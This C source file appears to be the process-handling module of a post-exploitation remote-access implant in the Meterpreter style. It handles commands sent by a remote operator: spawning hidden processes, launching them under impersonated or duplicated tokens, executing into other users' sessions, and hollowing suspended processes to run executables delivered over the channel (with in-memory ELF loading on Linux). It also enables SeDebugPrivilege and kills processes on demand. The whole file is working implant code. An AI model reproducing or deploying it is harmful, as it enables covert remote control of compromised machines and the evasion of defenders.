#include "precomp.h" #include "ps.h" // include the code for listing proceses #ifdef _WIN32 #include "./../session.h" #include "in-mem-exe.h" /* include skapetastic in-mem exe exec */ typedef BOOL (STDMETHODCALLTYPE FAR * LPFNCREATEENVIRONMENTBLOCK)( LPVOID *lpEnvironment, HANDLE hToken, BOOL bInherit ); typedef BOOL (STDMETHODCALLTYPE FAR * LPFNDESTROYENVIRONMENTBLOCK) ( LPVOID lpEnvironment ); typedef BOOL (WINAPI * LPCREATEPROCESSWITHTOKENW)( HANDLE, DWORD, LPCWSTR, LPWSTR, DWORD, LPVOID, LPCWSTR, LPSTARTUPINFOW, LPPROCESS_INFORMATION ); #else #include "linux-in-mem-exe.h" #endif /* * Attaches to the supplied process identifier. If no process identifier is * supplied, the handle for the current process is returned to the requestor. * * req: TLV_TYPE_PID - The process to attach to. */ DWORD request_sys_process_attach(Remote *remote, Packet *packet) { Packet *response = packet_create_response(packet); #ifdef _WIN32 HANDLE handle = NULL; DWORD result = ERROR_SUCCESS; DWORD pid; // Get the process identifier that we're attaching to, if any. pid = packet_get_tlv_value_uint(packet, TLV_TYPE_PID); // No pid? Use current. if (!pid) handle = GetCurrentProcess(); // Otherwise, attach. else { BOOLEAN inherit = packet_get_tlv_value_bool(packet, TLV_TYPE_INHERIT); DWORD permission = packet_get_tlv_value_uint(packet, TLV_TYPE_PROCESS_PERMS); handle = OpenProcess(permission, inherit, pid); } // If we have a handle, add it to the response if (handle) packet_add_tlv_qword(response, TLV_TYPE_HANDLE, (QWORD)handle); else result = GetLastError(); #else DWORD result = ERROR_NOT_SUPPORTED; #endif // Send the response packet to the requestor packet_transmit_response(result, remote, response); return ERROR_SUCCESS; } /* * Closes a handle that was opened via the attach method * * req: TLV_TYPE_HANDLE - The process handle to close. */ DWORD request_sys_process_close(Remote *remote, Packet *packet) { Packet *response = packet_create_response(packet); HANDLE handle; DWORD result = ERROR_SUCCESS; handle = (HANDLE)packet_get_tlv_value_qword(packet, TLV_TYPE_HANDLE); if (handle) { #ifdef _WIN32 if (handle != GetCurrentProcess()) CloseHandle(handle); #else // XXX ... not entirely sure this ports across. #endif } else result = ERROR_INVALID_PARAMETER; // Send the response packet to the requestor packet_transmit_response(result, remote, response); return ERROR_SUCCESS; } #ifndef _WIN32 int try_open_pty(int *master, int *slave) { int lmaster, lslave; char path[512]; struct termios newtio; lmaster = open("/dev/ptmx", O_RDWR | O_NOCTTY); if(lmaster == -1) return -1; dprintf("master fd is %d", lmaster); if(grantpt(lmaster) == -1) { close(lmaster); return -1; } if(unlockpt(lmaster) == -1) { close(lmaster); return -1; } memset(path, 0, sizeof(path)); if(ptsname_r(lmaster, path, sizeof(path)-2) == -1) { close(lmaster); return -1; } lslave = open(path, O_RDWR | O_NOCTTY); if(lslave == -1) { close(lmaster); return -1; } *master = lmaster; *slave = lslave; if(tcgetattr(lmaster, &newtio) == -1) // oh well return 0; // man 3 termios for more information (under linux, at least). newtio.c_lflag |= (ISIG|ICANON); newtio.c_lflag &= ~ECHO; // can't do anything about it if it fails tcsetattr(lmaster, TCSANOW, &newtio); return 0; } #endif /* * Executes a process using the supplied parameters, optionally creating a * channel through which output is filtered. * * req: TLV_TYPE_PROCESS_PATH - The executable to launch * req: TLV_TYPE_PROCESS_ARGUMENTS - The arguments to pass * req: TLV_TYPE_FLAGS - The flags to execute with */ DWORD request_sys_process_execute(Remote *remote, Packet *packet) { Packet *response = packet_create_response(packet); DWORD result = ERROR_SUCCESS; Tlv inMemoryData; BOOL doInMemory = FALSE; #ifdef _WIN32 PROCESS_INFORMATION pi; STARTUPINFO si; HANDLE in[2], out[2]; PCHAR path, arguments, commandLine = NULL; DWORD flags = 0, createFlags = 0; BOOL inherit = FALSE; HANDLE token, pToken; char * cpDesktop = NULL; DWORD session = 0; LPVOID pEnvironment = NULL; LPFNCREATEENVIRONMENTBLOCK lpfnCreateEnvironmentBlock = NULL; LPFNDESTROYENVIRONMENTBLOCK lpfnDestroyEnvironmentBlock = NULL; HMODULE hUserEnvLib = NULL; ProcessChannelContext * ctx = NULL; dprintf( "[PROCESS] request_sys_process_execute" ); // Initialize the startup information memset( &pi, 0, sizeof(PROCESS_INFORMATION) ); memset( &si, 0, sizeof(STARTUPINFO) ); si.cb = sizeof(STARTUPINFO); // Initialize pipe handles in[0] = NULL; in[1] = NULL; out[0] = NULL; out[1] = NULL; do { // No response? We suck. if (!response) { break; } // Get the execution arguments arguments = packet_get_tlv_value_string(packet, TLV_TYPE_PROCESS_ARGUMENTS); path = packet_get_tlv_value_string(packet, TLV_TYPE_PROCESS_PATH); flags = packet_get_tlv_value_uint(packet, TLV_TYPE_PROCESS_FLAGS); if (packet_get_tlv(packet, TLV_TYPE_VALUE_DATA, &inMemoryData) == ERROR_SUCCESS) { doInMemory = TRUE; createFlags |= CREATE_SUSPENDED; } if (flags & PROCESS_EXECUTE_FLAG_DESKTOP) { do { cpDesktop = (char *)malloc(512); if (!cpDesktop) break; memset(cpDesktop, 0, 512); lock_acquire(remote->lock); _snprintf(cpDesktop, 512, "%s\\%s", remote->curr_station_name, remote->curr_desktop_name); lock_release(remote->lock); si.lpDesktop = cpDesktop; } while (0); } // If the remote endpoint provided arguments, combine them with the // executable to produce a command line if (path && arguments) { size_t commandLineLength = strlen(path) + strlen(arguments) + 2; if (!(commandLine = (PCHAR)malloc(commandLineLength))) { result = ERROR_NOT_ENOUGH_MEMORY; break; } _snprintf(commandLine, commandLineLength, "%s %s", path, arguments); } else if (path) { commandLine = path; } else { result = ERROR_INVALID_PARAMETER; break; } // If the channelized flag is set, create a pipe for stdin/stdout/stderr // such that input can be directed to and from the remote endpoint if (flags & PROCESS_EXECUTE_FLAG_CHANNELIZED) { SECURITY_ATTRIBUTES sa = { sizeof(SECURITY_ATTRIBUTES), NULL, TRUE }; PoolChannelOps chops; Channel *newChannel; // Allocate the channel context if (!(ctx = (ProcessChannelContext *)malloc(sizeof(ProcessChannelContext)))) { result = ERROR_NOT_ENOUGH_MEMORY; break; } memset(&chops, 0, sizeof(PoolChannelOps)); // Initialize the channel operations dprintf("[PROCESS] context address 0x%p", ctx); chops.native.context = ctx; chops.native.write = process_channel_write; chops.native.close = process_channel_close; chops.native.interact = process_channel_interact; chops.read = process_channel_read; // Allocate the pool channel if (!(newChannel = channel_create_pool(0, CHANNEL_FLAG_SYNCHRONOUS, &chops))) { result = ERROR_NOT_ENOUGH_MEMORY; break; } // Set the channel's type to process channel_set_type(newChannel, "process"); // Allocate the stdin and stdout pipes if ((!CreatePipe(&in[0], &in[1], &sa, 0)) || (!CreatePipe(&out[0], &out[1], &sa, 0))) { channel_destroy(newChannel, NULL); newChannel = NULL; free(ctx); result = GetLastError(); break; } // Initialize the startup info to use the pipe handles si.dwFlags |= STARTF_USESTDHANDLES; si.hStdInput = in[0]; si.hStdOutput = out[1]; si.hStdError = out[1]; inherit = TRUE; createFlags |= CREATE_NEW_CONSOLE; // Set the context to have the write side of stdin and the read side // of stdout ctx->pStdin = in[1]; ctx->pStdout = out[0]; // Add the channel identifier to the response packet packet_add_tlv_uint(response, TLV_TYPE_CHANNEL_ID, channel_get_id(newChannel)); } // If the hidden flag is set, create the process hidden if (flags & PROCESS_EXECUTE_FLAG_HIDDEN) { si.dwFlags |= STARTF_USESHOWWINDOW; si.wShowWindow = SW_HIDE; createFlags |= CREATE_NO_WINDOW; } // Should we create the process suspended? if (flags & PROCESS_EXECUTE_FLAG_SUSPENDED) createFlags |= CREATE_SUSPENDED; if (flags & PROCESS_EXECUTE_FLAG_USE_THREAD_TOKEN) { // If there is an impersonated token stored, use that one first, otherwise // try to grab the current thread token, then the process token if (remote->thread_token) { token = remote->thread_token; dprintf("[execute] using thread impersonation token"); } else if (!OpenThreadToken(GetCurrentThread(), TOKEN_ALL_ACCESS, TRUE, &token)) { OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS, &token); } dprintf("[execute] token is 0x%.8x", token); // Duplicate to make primary token (try delegation first) if (!DuplicateTokenEx(token, TOKEN_ALL_ACCESS, NULL, SecurityDelegation, TokenPrimary, &pToken)) { if (!DuplicateTokenEx(token, TOKEN_ALL_ACCESS, NULL, SecurityImpersonation, TokenPrimary, &pToken)) { result = GetLastError(); dprintf("[execute] failed to duplicate token 0x%.8x", result); break; } } hUserEnvLib = LoadLibrary("userenv.dll"); if (NULL != hUserEnvLib) { lpfnCreateEnvironmentBlock = (LPFNCREATEENVIRONMENTBLOCK)GetProcAddress(hUserEnvLib, "CreateEnvironmentBlock"); lpfnDestroyEnvironmentBlock = (LPFNDESTROYENVIRONMENTBLOCK)GetProcAddress(hUserEnvLib, "DestroyEnvironmentBlock"); if (lpfnCreateEnvironmentBlock && lpfnCreateEnvironmentBlock(&pEnvironment, pToken, FALSE)) { createFlags |= CREATE_UNICODE_ENVIRONMENT; dprintf("[execute] created a duplicated environment block"); } else { pEnvironment = NULL; } } // Try to execute the process with duplicated token if (!CreateProcessAsUser(pToken, NULL, commandLine, NULL, NULL, inherit, createFlags, pEnvironment, NULL, &si, &pi)) { LPCREATEPROCESSWITHTOKENW pCreateProcessWithTokenW = NULL; HANDLE hAdvapi32 = NULL; wchar_t * wcmdline = NULL; wchar_t * wdesktop = NULL; size_t size = 0; result = GetLastError(); // sf: If we hit an ERROR_PRIVILEGE_NOT_HELD failure we can fall back to CreateProcessWithTokenW but this is only // available on 2003/Vista/2008/7. CreateProcessAsUser() seems to be just borked on some systems IMHO. if (result == ERROR_PRIVILEGE_NOT_HELD) { do { hAdvapi32 = LoadLibrary("advapi32.dll"); if (!hAdvapi32) { break; } pCreateProcessWithTokenW = (LPCREATEPROCESSWITHTOKENW)GetProcAddress(hAdvapi32, "CreateProcessWithTokenW"); if (!pCreateProcessWithTokenW) { break; } // convert the multibyte inputs to wide strings (No CreateProcessWithTokenA available unfortunatly)... size = mbstowcs(NULL, commandLine, 0); if (size == (size_t)-1) { break; } wcmdline = (wchar_t *)malloc((size + 1) * sizeof(wchar_t)); mbstowcs(wcmdline, commandLine, size); if (si.lpDesktop) { size = mbstowcs(NULL, (char *)si.lpDesktop, 0); if (size != (size_t)-1) { wdesktop = (wchar_t *)malloc((size + 1) * sizeof(wchar_t)); mbstowcs(wdesktop, (char *)si.lpDesktop, size); si.lpDesktop = (LPSTR)wdesktop; } } if (!pCreateProcessWithTokenW(pToken, LOGON_NETCREDENTIALS_ONLY, NULL, wcmdline, createFlags, pEnvironment, NULL, (LPSTARTUPINFOW)&si, &pi)) { result = GetLastError(); dprintf("[execute] failed to create the new process via CreateProcessWithTokenW 0x%.8x", result); break; } result = ERROR_SUCCESS; } while (0); if (hAdvapi32) { FreeLibrary(hAdvapi32); } SAFE_FREE(wdesktop); SAFE_FREE(wcmdline); } else { dprintf("[execute] failed to create the new process via CreateProcessAsUser 0x%.8x", result); break; } } if (lpfnDestroyEnvironmentBlock && pEnvironment) { lpfnDestroyEnvironmentBlock(pEnvironment); } if (NULL != hUserEnvLib) { FreeLibrary(hUserEnvLib); } } else if (flags & PROCESS_EXECUTE_FLAG_SESSION) { typedef BOOL(WINAPI * WTSQUERYUSERTOKEN)(ULONG SessionId, PHANDLE phToken); WTSQUERYUSERTOKEN pWTSQueryUserToken = NULL; HANDLE hToken = NULL; HMODULE hWtsapi32 = NULL; BOOL bSuccess = FALSE; DWORD dwResult = ERROR_SUCCESS; do { // Note: wtsapi32!WTSQueryUserToken is not available on NT4 or 2000 so we dynamically resolve it. hWtsapi32 = LoadLibraryA("wtsapi32.dll"); session = packet_get_tlv_value_uint(packet, TLV_TYPE_PROCESS_SESSION); if (session_id(GetCurrentProcessId()) == session || !hWtsapi32) { if (!CreateProcess(NULL, commandLine, NULL, NULL, inherit, createFlags, NULL, NULL, &si, &pi)) { BREAK_ON_ERROR("[PROCESS] execute in self session: CreateProcess failed"); } } else { pWTSQueryUserToken = (WTSQUERYUSERTOKEN)GetProcAddress(hWtsapi32, "WTSQueryUserToken"); if (!pWTSQueryUserToken) { BREAK_ON_ERROR("[PROCESS] execute in session: GetProcAdress WTSQueryUserToken failed"); } if (!pWTSQueryUserToken(session, &hToken)) { BREAK_ON_ERROR("[PROCESS] execute in session: WTSQueryUserToken failed"); } if (!CreateProcessAsUser(hToken, NULL, commandLine, NULL, NULL, inherit, createFlags, NULL, NULL, &si, &pi)) { BREAK_ON_ERROR("[PROCESS] execute in session: CreateProcessAsUser failed"); } } } while (0); if (hWtsapi32) { FreeLibrary(hWtsapi32); } if (hToken) { CloseHandle(hToken); } result = dwResult; if (result != ERROR_SUCCESS) { break; } } else { // Try to execute the process if (!CreateProcess(NULL, commandLine, NULL, NULL, inherit, createFlags, NULL, NULL, &si, &pi)) { result = GetLastError(); break; } } // // Do up the in memory exe execution if the user requested it // if (doInMemory) { // // Unmap the dummy executable and map in the new executable into the // target process // if (!MapNewExecutableRegionInProcess(pi.hProcess, pi.hThread, inMemoryData.buffer)) { result = GetLastError(); break; } // // Resume the thread and let it rock... // if (ResumeThread(pi.hThread) == (DWORD)-1) { result = GetLastError(); break; } } // check for failure here otherwise we can get a case where we // failed but return a process id and this will throw off the ruby side. if (result == ERROR_SUCCESS) { // if we managed to successfully create a channelized process, we need to retain // a handle to it so that we can shut it down externally if required. if (flags & PROCESS_EXECUTE_FLAG_CHANNELIZED && ctx != NULL) { dprintf("[PROCESS] started process 0x%x", pi.hProcess); ctx->pProcess = pi.hProcess; } // Add the process identifier to the response packet packet_add_tlv_uint(response, TLV_TYPE_PID, pi.dwProcessId); packet_add_tlv_qword(response, TLV_TYPE_PROCESS_HANDLE, (QWORD)pi.hProcess); CloseHandle(pi.hThread); } } while (0); // Close the read side of stdin and the write side of stdout if (in[0]) { CloseHandle(in[0]); } if (out[1]) { CloseHandle(out[1]); } // Free the command line if necessary if (path && arguments && commandLine) { free(commandLine); } if( cpDesktop ) { free( cpDesktop ); } #else PCHAR path, arguments;; DWORD flags; char *argv[8], *command_line; int cl_len = 0; int in[2] = { -1, -1 }, out[2] = {-1, -1}; // file descriptors int master = -1, slave = -1; int devnull = -1; int idx, i; pid_t pid; int have_pty = -1; ProcessChannelContext * ctx = NULL; int hidden = (flags & PROCESS_EXECUTE_FLAG_HIDDEN); dprintf( "[PROCESS] request_sys_process_execute" ); do { // Get the execution arguments arguments = packet_get_tlv_value_string(packet, TLV_TYPE_PROCESS_ARGUMENTS); path = packet_get_tlv_value_string(packet, TLV_TYPE_PROCESS_PATH); flags = packet_get_tlv_value_uint(packet, TLV_TYPE_PROCESS_FLAGS); dprintf("path: %s, arguments: %s\n", path ? path : "(null)", arguments ? arguments : "(null)"); if (packet_get_tlv(packet, TLV_TYPE_VALUE_DATA, &inMemoryData) == ERROR_SUCCESS) { doInMemory = TRUE; } // how to handle a single string argument line? we don't have a lexer/parser to // correctly handle stuff like quotes, etc. could dumbly parse on white space to // build arguments for execve. revert to /bin/sh -c style execution? // XXX.. don't feel like messing with it atm idx = 0; if(arguments) { // Add one for the null, one for the space cl_len = strlen(path) + strlen(arguments) + 2; command_line = malloc(cl_len); memset(command_line, 0, cl_len); strcat(command_line, path); strcat(command_line, " "); strcat(command_line, arguments); argv[idx++] = "sh"; argv[idx++] = "-c"; argv[idx++] = command_line; path = "/bin/sh"; } else { argv[idx++] = path; } argv[idx++] = NULL; //for (i = 0; i < idx; i++) { // dprintf(" argv[%d] = %s", i, argv[i]); //} // If the channelized flag is set, create a pipe for stdin/stdout/stderr // such that input can be directed to and from the remote endpoint if (flags & PROCESS_EXECUTE_FLAG_CHANNELIZED) { PoolChannelOps chops; Channel *newChannel; // Allocate the channel context if (!(ctx = (ProcessChannelContext *)malloc(sizeof(ProcessChannelContext)))) { result = ERROR_NOT_ENOUGH_MEMORY; break; } memset(&chops, 0, sizeof(PoolChannelOps)); // Initialize the channel operations dprintf( "[PROCESS] context address 0x%p", ctx ); chops.native.context = ctx; chops.native.write = process_channel_write; chops.native.close = process_channel_close; chops.native.interact = process_channel_interact; chops.read = process_channel_read; // Allocate the pool channel if (!(newChannel = channel_create_pool(0, CHANNEL_FLAG_SYNCHRONOUS, &chops))) { result = ERROR_NOT_ENOUGH_MEMORY; break; } // Set the channel's type to process channel_set_type(newChannel, "process"); have_pty = !try_open_pty(&master, &slave); if(have_pty) { ctx->pStdin = master; ctx->pStdout = master; } else { // fall back to pipes if there is no tty // Allocate the stdin and stdout pipes if(pipe(&in) || pipe(&out)) { channel_destroy(newChannel, NULL); newChannel = NULL; free(ctx); result = GetLastError(); break; } // Set the context to have the write side of stdin and the read side // of stdout ctx->pStdin = in[1]; ctx->pStdout = out[0]; } fcntl(ctx->pStdin, F_SETFD, fcntl(ctx->pStdin, F_GETFD) | O_NONBLOCK); fcntl(ctx->pStdout, F_SETFD, fcntl(ctx->pStdout, F_GETFD) | O_NONBLOCK); // Add the channel identifier to the response packet packet_add_tlv_uint(response, TLV_TYPE_CHANNEL_ID,channel_get_id(newChannel)); } else { // need to /dev/null it all if( (devnull = open("/dev/null", O_RDONLY) ) == -1) { // XXX This is possible, due to chroots etc. We could close // fd 0/1/2 and hope the program isn't buggy. result = GetLastError(); break; } } /* * We can create "hidden" processes via clone() instead of fork() * clone(child_stack, flags = CLONE_THREAD) should do the trick. Probably worth while as well. * memory / fd's etc won't be shared. linux specific syscall though. */ pid = fork(); switch(pid) { case -1: result = errno; break; case 0: if (flags & PROCESS_EXECUTE_FLAG_CHANNELIZED) { if(have_pty) { dup2(slave, 0); dup2(slave, 1); dup2(slave, 2); } else { dup2(in[0], 0); dup2(out[1], 1); dup2(out[1], 2); } } else { dup2(devnull, 0); dup2(devnull, 1); dup2(devnull, 2); } for(i = 3; i < 1024; i++) close(i); if(doInMemory) { int found; Elf32_Ehdr *ehdr = (Elf32_Ehdr *)inMemoryData.buffer; Elf32_Phdr *phdr = (Elf32_Phdr *)(inMemoryData.buffer + ehdr->e_phoff); for(found = 0, i = 0; i < ehdr->e_phnum; i++, phdr++) { if(phdr->p_type == PT_LOAD) { found = 1; break; } } if(! found) return; // XXX, not too much we can do in this case ? perform_in_mem_exe(argv, environ, inMemoryData.buffer, inMemoryData.header.length, phdr->p_vaddr & ~4095, ehdr->e_entry); } else { execve(path, argv, environ); } dprintf("failed to execute program, exit(EXIT_FAILURE) time"); dprintf("doInMemory = %d, hidden = %d", doInMemory, hidden); exit(EXIT_FAILURE); default: dprintf("child pid is %d\n", pid); packet_add_tlv_uint(response, TLV_TYPE_PID, (DWORD)pid); packet_add_tlv_qword(response, TLV_TYPE_PROCESS_HANDLE, (QWORD)pid); if (flags & PROCESS_EXECUTE_FLAG_CHANNELIZED) { if(have_pty) { dprintf("child channelized\n"); close(slave); ctx->pProcess = (HANDLE)pid; } else { close(in[0]); close(out[1]); close(out[2]); } } break; } } while(0); #endif packet_transmit_response(result, remote, response); return ERROR_SUCCESS; } /* * Kills one or more supplied processes * * req: TLV_TYPE_PID [n] */ DWORD request_sys_process_kill(Remote *remote, Packet *packet) { Packet *response = packet_create_response(packet); DWORD result = ERROR_SUCCESS; Tlv pidTlv; DWORD index = 0; while ((packet_enum_tlv(packet, index++, TLV_TYPE_PID, &pidTlv) == ERROR_SUCCESS) && (pidTlv.header.length >= sizeof(DWORD))) { DWORD pid = ntohl(*(LPDWORD)pidTlv.buffer); HANDLE h = NULL; #ifdef _WIN32 // Try to attach to the process if (!(h = OpenProcess(PROCESS_TERMINATE, FALSE, pid))) { result = GetLastError(); break; } if (!TerminateProcess(h, 0)) result = GetLastError(); CloseHandle(h); #else kill(pid, 9); #endif } // Transmit the response packet_transmit_response(result, remote, response); return ERROR_SUCCESS; } /* * Gets the list of active processes (including their PID, name, user, arch and path) * and sends the information back to the requestor. See ps.c for the guts of this. */ DWORD request_sys_process_get_processes( Remote * remote, Packet * packet ) { #ifdef _WIN32 Packet * response = NULL; HANDLE hToken = NULL; DWORD result = ERROR_SUCCESS; do { response = packet_create_response( packet ); if( !response ) break; // If we can, get SeDebugPrivilege... if( OpenProcessToken( GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken) ) { TOKEN_PRIVILEGES priv = {0}; priv.PrivilegeCount = 1; priv.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; if( LookupPrivilegeValue( NULL, SE_DEBUG_NAME, &priv.Privileges[0].Luid ) ) AdjustTokenPrivileges( hToken, FALSE, &priv, 0, NULL, NULL ); CloseHandle( hToken ); } // First we will try to get a process list via the toolhelp API. This method gives us the most information // on all processes, including processes we cant actually open and all x64/x86 processes on x64 systems. // However NT4 does not have the toolhelp API (but Win98 did!?!). result = ps_list_via_toolhelp( response ); if( result != ERROR_SUCCESS ) { // Second attempt is to use the PSAPI functions which may work on NT4 if the PSAPI patch has been applied. result = ps_list_via_psapi( response ); if( result != ERROR_SUCCESS ) { // Third method is to brute force the process list (and extract info from PEB) if all other methods have failed. result = ps_list_via_brute( response ); } } packet_transmit_response( result, remote, response ); } while( 0 ); #else DWORD result = ERROR_NOT_SUPPORTED; Packet * response = packet_create_response( packet ); if (response) { result = ps_list_linux( response ); packet_transmit_response( result, remote, response ); } #endif return result; } /* * Handles the getpid request */ DWORD request_sys_process_getpid(Remote *remote, Packet *packet) { Packet *response = packet_create_response(packet); #ifdef _WIN32 packet_add_tlv_uint(response, TLV_TYPE_PID, GetCurrentProcessId()); #else packet_add_tlv_uint(response, TLV_TYPE_PID, getpid()); #endif packet_transmit_response(ERROR_SUCCESS, remote, response); return ERROR_SUCCESS; } /* * Returns information about the supplied process handle. * * req: TLV_TYPE_HANDLE - The handle to gather information from. */ DWORD request_sys_process_get_info(Remote *remote, Packet *packet) { Packet *response = packet_create_response(packet); #ifdef _WIN32 BOOL (WINAPI *enumProcessModules)(HANDLE p, HMODULE *mod, DWORD cb, LPDWORD needed); DWORD (WINAPI *getModuleBaseName)(HANDLE p, HMODULE mod, LPTSTR base, DWORD baseSize); DWORD (WINAPI *getModuleFileNameEx)(HANDLE p, HMODULE mod, LPTSTR path, DWORD pathSize); HMODULE mod; HANDLE psapi = NULL; HANDLE handle; DWORD result = ERROR_SUCCESS; DWORD needed; CHAR path[1024], name[256]; handle = (HANDLE)packet_get_tlv_value_qword(packet, TLV_TYPE_HANDLE); do { // Valid response? if (!response) { result = ERROR_NOT_ENOUGH_MEMORY; break; } // Valid parameters? if (!handle) { result = ERROR_INVALID_PARAMETER; break; } // Open the process API if (!(psapi = LoadLibrary("psapi"))) { result = GetLastError(); break; } // Try to resolve the necessary symbols if ((!((LPVOID)enumProcessModules = (LPVOID)GetProcAddress(psapi, "EnumProcessModules"))) || (!((LPVOID)getModuleBaseName = (LPVOID)GetProcAddress(psapi, "GetModuleBaseNameA"))) || (!((LPVOID)getModuleFileNameEx = (LPVOID)GetProcAddress(psapi, "GetModuleFileNameExA")))) { result = GetLastError(); break; } memset(name, 0, sizeof(name)); memset(path, 0, sizeof(path)); // Enumerate the first module in the process and get its base name if ((!enumProcessModules(handle, &mod, sizeof(mod), &needed) || (getModuleBaseName(handle, mod, name, sizeof(name) - 1) == 0))) { result = GetLastError(); break; } // Try to get the process' file name getModuleFileNameEx(handle, mod, path, sizeof(path) - 1); // Set the process' information on the response packet_add_tlv_string(response, TLV_TYPE_PROCESS_NAME, name); packet_add_tlv_string(response, TLV_TYPE_PROCESS_PATH, path); } while (0); // Transmit the response packet_transmit_response(ERROR_SUCCESS, remote, response); // Close the psapi library and clean up if (psapi) FreeLibrary(psapi); #else packet_transmit_response(ERROR_NOT_SUPPORTED, remote, response); #endif return ERROR_SUCCESS; } /************************ * Process DIO handlers * ************************/ /* * Reads directly from the output handle of the process * * FIXME: can-block */ DWORD process_channel_read(Channel *channel, Packet *request, LPVOID context, LPVOID buffer, DWORD bufferSize, LPDWORD bytesRead) { DWORD result = ERROR_SUCCESS; ProcessChannelContext *ctx = (ProcessChannelContext *)context; dprintf("[PROCESS] process_channel_read. channel=0x%08X, ctx=0x%08X", channel, ctx); if (ctx == NULL) { return result; } #ifdef _WIN32 if (!ReadFile(ctx->pStdout, buffer, bufferSize, bytesRead, NULL)) result = GetLastError(); #else if ( (*bytesRead = read( ctx->pStdout, buffer, bufferSize )) < 0 ) { result = GetLastError(); // Always return zero bytes read on error *bytesRead = 0; } #endif return result; } /* * Writes data from the remote half of the channel to the process's standard * input handle */ DWORD process_channel_write( Channel *channel, Packet *request, LPVOID context, LPVOID buffer, DWORD bufferSize, LPDWORD bytesWritten ) { ProcessChannelContext *ctx = (ProcessChannelContext *)context; DWORD result = ERROR_SUCCESS; dprintf( "[PROCESS] process_channel_write. channel=0x%08X, ctx=0x%08X", channel, ctx ); if (ctx == NULL) { return result; } #ifdef _WIN32 if ( !WriteFile( ctx->pStdin, buffer, bufferSize, bytesWritten, NULL ) ) result = GetLastError(); #else if( (*bytesWritten = write( ctx->pStdin, buffer, bufferSize )) < 0 ) { result = GetLastError(); } #endif return result; } /* * Closes the channels that were opened to the process. */ DWORD process_channel_close( Channel *channel, Packet *request, LPVOID context ) { DWORD result = ERROR_SUCCESS; ProcessChannelContext *ctx = (ProcessChannelContext *)context; dprintf( "[PROCESS] process_channel_close. channel=0x%08X, ctx=0x%08X", channel, ctx ); if (ctx == NULL) { return result; } if ( ctx->pProcess != NULL ) { dprintf( "[PROCESS] channel has an attached process, closing via scheduler signal. channel=0x%08X, ctx=0x%08X", channel, ctx ); scheduler_signal_waitable( ctx->pStdout, Stop ); } else { #ifdef _WIN32 CloseHandle( ctx->pStdin ); CloseHandle( ctx->pStdout ); #else close( ctx->pStdin ); close( ctx->pStdout ); #endif free( ctx ); } return result; } DWORD process_channel_interact_destroy( HANDLE waitable, LPVOID entryContext, LPVOID threadContext ) { ProcessChannelContext *ctx = (ProcessChannelContext *)threadContext; DWORD dwResult = ERROR_SUCCESS; Channel *channel = (Channel *)entryContext; dprintf( "[PROCESS] terminating context 0x%p", ctx ); if (ctx == NULL) { return dwResult; } #ifdef _WIN32 CloseHandle( ctx->pStdin ); CloseHandle( ctx->pStdout ); if( ctx->pProcess ) { dprintf( "[PROCESS] terminating process 0x%x", ctx->pProcess ); TerminateProcess( ctx->pProcess, 0 ); } #else close( ctx->pStdin ); close( ctx->pStdout ); dprintf( "[PROCESS] pid %u", ctx->pProcess ); if( ctx->pProcess ) { dprintf( "[PROCESS] terminating pid %u", ctx->pProcess ); kill( (pid_t)ctx->pProcess, 9 ); } #endif free( ctx ); if (channel_exists(channel)) { channel->ops.pool.native.context = NULL; } return dwResult; } /* * Callback for when data is available on the standard output handle of * a process channel that is interactive mode */ DWORD process_channel_interact_notify(Remote *remote, LPVOID entryContext, LPVOID threadContext) { Channel *channel = (Channel*)entryContext; ProcessChannelContext *ctx = (ProcessChannelContext *)threadContext; DWORD bytesRead, bytesAvail = 0; CHAR buffer[16384]; DWORD result = ERROR_SUCCESS; if (!channel_exists(channel) || ctx == NULL) { return result; } #ifdef _WIN32 if( PeekNamedPipe( ctx->pStdout, NULL, 0, NULL, &bytesAvail, NULL ) ) { if( bytesAvail ) { if( ReadFile( ctx->pStdout, buffer, sizeof(buffer) - 1, &bytesRead, NULL ) ) { return channel_write( channel, remote, NULL, 0, buffer, bytesRead, NULL ); } result = GetLastError(); } else { // sf: if no data is available on the pipe we sleep to avoid running a tight loop // in this thread, as anonymous pipes won't block for data to arrive. Sleep( 100 ); } } else { result = GetLastError(); } #else bytesRead = read ( ctx->pStdout, buffer, sizeof(buffer) - 1); if ( bytesRead > 0 ) { dprintf("bytesRead: %d, errno: %d", bytesRead, errno); result = channel_write ( channel, remote, NULL, 0, buffer, bytesRead, NULL ); } if(bytesRead == -1) { if(errno == EINTR || errno == EWOULDBLOCK || errno == EAGAIN) { errno = ERROR_SUCCESS; } } if(bytesRead == 0) { errno = ECONNRESET; } if(bytesRead <= 0) result = errno; #endif if( result != ERROR_SUCCESS ) { dprintf("Closing down socket: result: %d\n", result); process_channel_close( channel, NULL, ctx ); channel_close( channel, remote, NULL, 0, NULL ); } return result; } /* * Enables or disables interactivity with the standard output handle on the channel */ DWORD process_channel_interact(Channel *channel, Packet *request, LPVOID context, BOOLEAN interact) { ProcessChannelContext *ctx = (ProcessChannelContext *)context; DWORD result = ERROR_SUCCESS; dprintf( "[PROCESS] process_channel_interact. channel=0x%08X, ctx=0x%08X, interact=%d", channel, ctx, interact ); if (!channel_exists(channel) || ctx == NULL) { return result; } // If the remote side wants to interact with us, schedule the stdout handle // as a waitable item if (interact) { // try to resume it first, if it's not there, we can create a new entry if( (result = scheduler_signal_waitable( ctx->pStdout, Resume )) == ERROR_NOT_FOUND ) { result = scheduler_insert_waitable( ctx->pStdout, channel, context, (WaitableNotifyRoutine)process_channel_interact_notify, (WaitableDestroyRoutine)process_channel_interact_destroy ); } } else { // Otherwise, pause it result = scheduler_signal_waitable( ctx->pStdout, Pause ); } return result; } /* * Wait on a process handle until it terminates. * * req: TLV_TYPE_HANDLE - The process handle to wait on. */ DWORD request_sys_process_wait(Remote *remote, Packet *packet) { Packet * response = packet_create_response( packet ); HANDLE handle = NULL; DWORD result = ERROR_INVALID_PARAMETER; handle = (HANDLE)packet_get_tlv_value_qword( packet, TLV_TYPE_HANDLE ); #ifdef _WIN32 if( handle ) { if( WaitForSingleObject( handle, INFINITE ) == WAIT_OBJECT_0 ) result = ERROR_SUCCESS; } #else if( ! waitpid(handle, NULL, WNOHANG)) { result = ERROR_SUCCESS; } #endif packet_transmit_response( result, remote, response ); return result; }